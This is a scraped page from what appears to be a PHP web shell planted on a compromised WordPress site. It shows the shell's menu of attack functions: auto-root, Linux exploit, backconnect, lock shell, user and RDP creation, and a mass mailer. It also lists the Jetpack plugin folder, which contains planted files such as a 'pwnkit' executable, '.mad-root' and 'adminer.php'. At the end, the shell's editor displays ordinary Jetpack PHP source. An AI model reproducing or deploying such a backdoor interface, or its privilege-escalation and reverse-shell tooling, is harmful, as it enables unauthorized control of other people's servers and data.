Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
plugins /
jetpack /
[ HOME SHELL ]
Name
Size
Permission
Action
3rd-party
[ DIR ]
drwxr-xr-x
_inc
[ DIR ]
drwxr-xr-x
bin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
json-endpoints
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
sal
[ DIR ]
drwxr-xr-x
scss
[ DIR ]
drwxr-xr-x
sync
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
.svnignore
151
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
changelog.txt
120.31
KB
-rw-r--r--
class.frame-nonce-preview.php
2.18
KB
-rw-r--r--
class.jetpack-admin.php
8.26
KB
-rw-r--r--
class.jetpack-autoupdate.php
6.79
KB
-rw-r--r--
class.jetpack-bbpress-json-api...
2.94
KB
-rw-r--r--
class.jetpack-cli-call.php
25.22
KB
-rw-r--r--
class.jetpack-cli.php
20.53
KB
-rw-r--r--
class.jetpack-client-server.ph...
8.31
KB
-rw-r--r--
class.jetpack-client.php
10.3
KB
-rw-r--r--
class.jetpack-connection-banne...
24.73
KB
-rw-r--r--
class.jetpack-constants.php
2.35
KB
-rw-r--r--
class.jetpack-data.php
4.37
KB
-rw-r--r--
class.jetpack-debugger.php
19.68
KB
-rw-r--r--
class.jetpack-error.php
47
B
-rw-r--r--
class.jetpack-heartbeat.php
4.51
KB
-rw-r--r--
class.jetpack-idc.php
19.76
KB
-rw-r--r--
class.jetpack-ixr-client.php
3.2
KB
-rw-r--r--
class.jetpack-jitm.php
17.71
KB
-rw-r--r--
class.jetpack-modules-list-tab...
11.12
KB
-rw-r--r--
class.jetpack-network-first.ph...
546
B
-rw-r--r--
class.jetpack-network-sites-li...
4.26
KB
-rw-r--r--
class.jetpack-network.php
22.98
KB
-rw-r--r--
class.jetpack-options.php
10.72
KB
-rw-r--r--
class.jetpack-post-images.php
17.62
KB
-rw-r--r--
class.jetpack-signature.php
8.29
KB
-rw-r--r--
class.jetpack-tracks.php
2.87
KB
-rw-r--r--
class.jetpack-twitter-cards.ph...
8.84
KB
-rw-r--r--
class.jetpack-user-agent.php
45.94
KB
-rw-r--r--
class.jetpack-xmlrpc-server.ph...
16.02
KB
-rw-r--r--
class.jetpack.php
205.39
KB
-rw-r--r--
class.json-api-endpoints.php
60.81
KB
-rw-r--r--
class.json-api.php
19.27
KB
-rw-r--r--
class.photon.php
33.33
KB
-rw-r--r--
composer.json
345
B
-rw-r--r--
functions.compat.php
2.38
KB
-rw-r--r--
functions.gallery.php
2.26
KB
-rw-r--r--
functions.global.php
260
B
-rw-r--r--
functions.opengraph.php
15.48
KB
-rw-r--r--
functions.photon.php
8.49
KB
-rw-r--r--
jetpack.php
5.72
KB
-rw-r--r--
json-api-config.php
255
B
-rw-r--r--
json-endpoints.php
132.2
KB
-rw-r--r--
locales.php
59.55
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.txt
15.87
KB
-rw-r--r--
require-lib.php
982
B
-rw-r--r--
rest-api.md
6.14
KB
-rw-r--r--
uninstall.php
830
B
-rw-r--r--
webpack.config.js
3.13
KB
-rw-r--r--
wpml-config.xml
213
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.jetpack-data.php
<?php class Jetpack_Data { /** * Gets locally stored token * * @return object|false */ public static function get_access_token( $user_id = false ) { if ( $user_id ) { if ( !$tokens = Jetpack_Options::get_option( 'user_tokens' ) ) { return false; } if ( $user_id === JETPACK_MASTER_USER ) { if ( !$user_id = Jetpack_Options::get_option( 'master_user' ) ) { return false; } } if ( !isset( $tokens[$user_id] ) || !$token = $tokens[$user_id] ) { return false; } $token_chunks = explode( '.', $token ); if ( empty( $token_chunks[1] ) || empty( $token_chunks[2] ) ) { return false; } if ( $user_id != $token_chunks[2] ) { return false; } $token = "{$token_chunks[0]}.{$token_chunks[1]}"; } else { $token = Jetpack_Options::get_option( 'blog_token' ); if ( empty( $token ) ) { return false; } } return (object) array( 'secret' => $token, 'external_user_id' => (int) $user_id, ); } /** * This function mirrors Jetpack_Data::is_usable_domain() in the WPCOM codebase. * * @param $domain * @param array $extra * * @return bool|WP_Error */ public static function is_usable_domain( $domain, $extra = array() ) { // If it's empty, just fail out. if ( ! $domain ) { return new WP_Error( 'fail_domain_empty', sprintf( __( 'Domain `%1$s` just failed is_usable_domain check as it is empty.', 'jetpack' ), $domain ) ); } /** * Skips the usuable domain check when connecting a site. * * Allows site administrators with domains that fail gethostname-based checks to pass the request to WP.com * * @since 4.1.0 * * @param bool If the check should be skipped. Default false. */ if ( apply_filters( 'jetpack_skip_usuable_domain_check', false ) ) { return true; } // None of the explicit localhosts. $forbidden_domains = array( 'wordpress.com', 'localhost', 'localhost.localdomain', '127.0.0.1', 'local.wordpress.dev', // VVV 'local.wordpress-trunk.dev', // VVV 'src.wordpress-develop.dev', // VVV 'build.wordpress-develop.dev', // VVV ); if ( in_array( $domain, $forbidden_domains ) ) { return new WP_Error( 'fail_domain_forbidden', sprintf( __( 'Domain `%1$s` just failed is_usable_domain check as it is in the forbidden array.', 'jetpack' ), $domain ) ); } // No .dev or .local domains if ( preg_match( '#\.(dev|local)$#i', $domain ) ) { return new WP_Error( 'fail_domain_tld', sprintf( __( 'Domain `%1$s` just failed is_usable_domain check as it uses an invalid top level domain.', 'jetpack' ), $domain ) ); } // No WPCOM subdomains if ( preg_match( '#\.wordpress\.com$#i', $domain ) ) { return new WP_Error( 'fail_subdomain_wpcom', sprintf( __( 'Domain `%1$s` just failed is_usable_domain check as it is a subdomain of WordPress.com.', 'jetpack' ), $domain ) ); } // If PHP was compiled without support for the Filter module (very edge case) if ( ! function_exists( 'filter_var' ) ) { // Just pass back true for now, and let wpcom sort it out. return true; } // Check the IP to make sure it's pingable. $ip = gethostbyname( $domain ); // Doing this again as I was getting some false positives when gethostbyname() flaked out and returned the domain. $ip = filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ? $ip : gethostbyname( $ip ); if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE | FILTER_FLAG_IPV4 ) && ! self::php_bug_66229_check( $ip ) ) { return new WP_Error( 'fail_domain_bad_ip_range', sprintf( __( 'Domain `%1$s` just failed is_usable_domain check as its IP `%2$s` is either invalid, or in a reserved or private range.', 'jetpack' ), $domain, $ip ) ); } return true; } /** * Returns true if the IP address passed in should not be in a reserved range, even if PHP says that it is. * See: https://bugs.php.net/bug.php?id=66229 and https://github.com/php/php-src/commit/d1314893fd1325ca6aa0831101896e31135a2658 * * This function mirrors Jetpack_Data::php_bug_66229_check() in the WPCOM codebase. */ public static function php_bug_66229_check( $ip ) { if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) { return false; } $ip_arr = array_map( 'intval', explode( '.', $ip ) ); if ( 128 == $ip_arr[0] && 0 == $ip_arr[1] ) { return true; } if ( 191 == $ip_arr[0] && 255 == $ip_arr[1] ) { return true; } return false; } }
Close